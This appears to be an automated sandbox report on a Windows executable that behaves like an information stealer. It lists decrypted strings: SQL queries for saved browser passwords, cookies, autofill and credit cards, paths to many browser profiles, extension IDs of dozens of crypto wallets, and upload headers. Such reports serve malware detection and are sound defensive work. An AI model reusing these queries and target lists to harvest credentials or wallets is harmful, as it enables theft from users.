Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: BCryptDestroyKey
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: BCryptSetProperty
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: BCryptDecrypt
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: VaultOpenVault
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: VaultCloseVault
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: VaultEnumerateItems
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: VaultGetItemWin8
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: VaultGetItemWin7
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: VaultFree
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: StrCmpCA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: StrStrA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: PathMatchSpecA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SHGetFolderPathA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ShellExecuteExA
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GdipGetImageEncodersSize
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GdipGetImageEncoders
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GdiplusStartup
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GdiplusShutdown
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GdipSaveImageToStream
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GdipDisposeImage
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GdipFree
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CreateStreamOnHGlobal
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GetHGlobalFromStream
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SymMatchString
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: HEAD
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: POST
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: file
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Content-Disposition: form-data; name="file"; filename="
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Content-Type: application/octet-stream
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Content-Transfer-Encoding: binary
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SOFT:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: PROF: ?
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: PROF:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: HOST:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: USER:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: PASS:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: sqlite3_open
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: sqlite3_prepare_v2
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: sqlite3_step
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: sqlite3_column_text
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: sqlite3_finalize
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: sqlite3_close
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: sqlite3_column_bytes
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: sqlite3_column_blob
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: encrypted_key
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: PATH
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: PATH=
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: NSS_Init
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: NSS_Shutdown
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: PK11_GetInternalKeySlot
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: PK11_FreeSlot
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: PK11_Authenticate
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: PK11SDR_Decrypt
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SELECT origin_url, username_value, password_value FROM logins
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Cookies\%s_%s.txt
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: TRUE
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: FALSE
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Autofill\%s_%s.txt
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SELECT name, value FROM autofill
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CC\%s_%s.txt
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Card number:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Name on card:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Expiration date:
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: History\%s_%s.txt
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SELECT url FROM urls
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Downloads\%s_%s.txt
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SELECT target_path, tab_url from downloads
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Login Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Cookies
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Web Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: History
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: logins.json
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: formSubmitURL
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: usernameField
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: encryptedUsername
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: encryptedPassword
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: guid
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SELECT url FROM moz_places
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: cookies.sqlite
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: formhistory.sqlite
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: places.sqlite
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Local State
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ..\profiles.ini
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: C:\ProgramData\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Chrome
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Google\Chrome\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ChromeBeta
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Google\Chrome Beta\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ChromeCanary
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Google\Chrome SxS\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Chromium
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Chromium\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Edge_Chromium
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Microsoft\Edge\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Kometa
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Kometa\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Amigo
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Amigo\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Torch
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Torch\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Orbitum
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Orbitum\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Comodo
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Comodo\Dragon\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Nichrome
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Nichrome\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Maxthon5
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Maxthon5\Users
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Sputnik
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Sputnik\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Epic Privacy Browser\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Vivaldi
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Vivaldi\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CocCoc
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \CocCoc\Browser\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Uran
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \uCozMedia\Uran\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \QIP Surf\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Cent
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \CentBrowser\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Elements
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Elements Browser\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: TorBro
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \TorBro\Profile
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: CryptoTab
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \CryptoTab Browser\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Brave
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \BraveSoftware\Brave-Browser\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Opera
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Opera Software\Opera Stable\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: OperaGX
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Opera Software\Opera GX Stable\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: OperaNeon
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Opera Software\Opera Neon\User Data
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Firefox
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Mozilla\Firefox\Profiles\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: SlimBrowser
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \FlashPeak\SlimBrowser\Profiles\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: PaleMoon
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Moonchild Productions\Pale Moon\Profiles\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Waterfox
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Waterfox\Profiles\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Cyberfox
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \8pecxstudios\Cyberfox\Profiles\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: BlackHawk
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \NETGATE Technologies\BlackHawk\Profiles\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: IceCat
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Mozilla\icecat\Profiles\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: KMeleon
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \K-Meleon\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Thunderbird
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: \Thunderbird\Profiles\
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: passwords.txt
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: TronLink
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: nkbihfbeogaeaoehlefnkodbefgpgknn
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: MetaMask
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: fhbohimaelbohpjbbldcngcnapndodjp
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Binance Chain Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ffnbelfdoeiohenkjibnmadjiehjhajb
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Yoroi
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: jbdaocneiiinmjbjlgalhcelgbejmnid
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Nifty Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Math Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: hnfanknocfeofbddgcijnmhnfnkdnaad
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Coinbase Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Guarda
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: blnieiiffboillknjnepogjhkgnoapac
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: EQUAL Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: cjelfplplebdjjenllpjcblmjkfcffne
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Jaxx Liberty
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: BitApp Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: kncchdigobghenbbaddojjnnaogfppfj
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: iWallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: amkmjjmmflddogmhpjloimipbofnfjih
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Wombat
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: MEW CX
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: nanjmdknhkinifnkgdcggcfnhdaammmj
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: GuildWallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: nkddgncdjgjfcddamfgcmfnlhccnimig
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Saturn Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: fnjhmkhhmkbjkkabndcnnogagogbneec
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Ronin Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: cphhlgmgameodnhkjdmkpanlelnlohao
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: NeoLine
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: nhnkbkgjikgcigadomkphalanndcapjk
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Clover Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: kpfopkelmapcoipemfendmdcghnegimn
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Liquality Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: aiifbnbfobpmeekipheeijimdpnlpgpp
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Terra Station
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: dmkamcknogkgcdfhhbddcghachkejeap
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Keplr
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: fhmfendgdocmcbmfikdcogofphimnkno
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Sollet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: cnmamaachppnkjgnildpdmkaakejnhae
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Auro Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Polymesh Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: flpiciilemghbmfalicajoolhkkenfel
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ICONex
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: nknhiehlklippafakaeklbeglecifhad
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Nabox Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: hcflpincpppdclinealmandijcmnkbgn
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Temple
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: mnfifefkajgofkcjkemidiaecocnkjeh
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: TezBox
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: dkdedlpgdmmkkfjabffeganieamfklkm
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Cyano Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Byone
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: OneKey
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: cihmoadaighcejopammfbmddcmdekcje
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: LeafWallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: lodccjjbdhfakaekdiahmedfbieldgik
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: DAppPlay
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ijmpgkjfkbfhoebgogflfebnmejmfbml
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: BitClip
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Steem Keychain
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: onofpnbbkehpmmoabgpcpmigafmmnjhl
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Nash Extension
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: bcopgchhojmggmffilplmbdicgaihlkp
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Hycon Lite Client
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: klnaejjgbibmhlephnhpmaofohgkpgkd
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ZilPay
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: aeachknmefphepccionboohckonoeemg
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Coin98 Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Phantom
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: hifafgmccdpekplomjjkcfgodnhcellj
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Crypto.com
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: dngmlblcodfobpdpecaadgfbcggfjfnm
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Maiar DeFi Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ppdadbejkmjnefldpcdjhnkpbjkikoip
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Oasis
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: hpbgcgmiemanfelegbndmhieiigkackl
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: MonstaWallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: fcckkdbjnoikooededlapcalpionmalo
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: MOBOX
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: jccapkebeeiajkkdemacblkjhhhboiek
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Crust Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: mgffkfbidihjpoaomajlbgchddlicgpn
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Pali Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: nphplpgoakhhjchkkhmiggakijnkhfnd
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: TON Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: ldinpeekobnhjjdofggfgjlcehhmanlj
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Hiro Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: pocmplpaccanhmnllbbkpgfliimjljgo
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Slope Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: bhhhlbepdkbapadjdnnojkbgioiodbic
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Solflare Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: pgiaagfkgcbnmiiolekcfmljdagdhlcm
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Stargazer Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: cgeeodpfagjceefieflmdfphplkenlfk
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: EVER Wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: gjkdbeaiifkpoencioahhcilildpjhgh
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: partisia-wallet
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: bgjogpoidejdemgoochpnkmdjpocgkha
Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack	String decryptor: Ecto Wallet

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_00408E30 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00408E30
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_00405450 memset,CryptStringToBinaryA,CryptStringToBinaryA,	0_2_00405450
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_004090C0 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_004090C0
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_00408AB0 CryptUnprotectData,	0_2_00408AB0
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_00408D90 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00408D90

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Unpacked PE file: 0.2.Uin5FyPXbS.exe.60900000.1.unpack

Source: Uin5FyPXbS.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Uin5FyPXbS.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.0.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
